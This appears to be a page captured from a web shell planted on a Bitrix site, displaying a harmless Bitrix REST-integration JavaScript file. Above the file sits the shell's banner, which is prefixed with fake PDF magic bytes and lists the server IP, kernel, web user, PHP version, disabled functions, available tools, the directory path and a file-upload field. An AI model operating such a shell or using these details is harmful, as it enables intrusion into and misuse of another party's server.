%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.223.209.118 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/rest/ |
Upload File : |
;(function () { 'use strict'; BX.namespace('BX.rest.integration'); BX.rest.integration = { open: function (integrationCode, url) { if (!!url) { BX.SidePanel.Instance.open(url, {cacheable: false}); } else { if (integrationCode) { if (!!this.loadProcess) { BX.UI.Notification.Center.notify( { content: BX.message('REST_INTEGRATION_LIST_OPEN_PROCESS') } ); return false; } else { this.loadProcess = true; } BX.ajax.runComponentAction( 'bitrix:rest.integration.edit', 'getNewIntegrationUrl', { mode: 'class', data: { code: integrationCode } } ).then( function (response) { if (!!response.data && !!response.data.url) { BX.SidePanel.Instance.open( response.data.url, { cacheable: false, requestMethod: 'post', requestParams: { 'NEW_OPEN': 'Y', }, events: { onLoad: function (event) { this.loadProcess = false; }.bind(this) } } ); } else { if (!!response.data.helperCode && response.data.helperCode !== '') { top.BX.UI.InfoHelper.show(response.data.helperCode); } else { var errorMessage = BX.message('REST_INTEGRATION_LIST_ERROR_OPEN_URL'); if (!!response.data.error && response.data.error.length > 0) { errorMessage = response.data.error; } BX.UI.Notification.Center.notify( { content: errorMessage } ); } this.loadProcess = false; } }.bind(this) ).catch( function (response) { BX.UI.Notification.Center.notify( { content: BX.message('REST_INTEGRATION_LIST_ERROR_OPEN_URL') } ); this.loadProcess = false; }.bind(this) ); } } } }; })();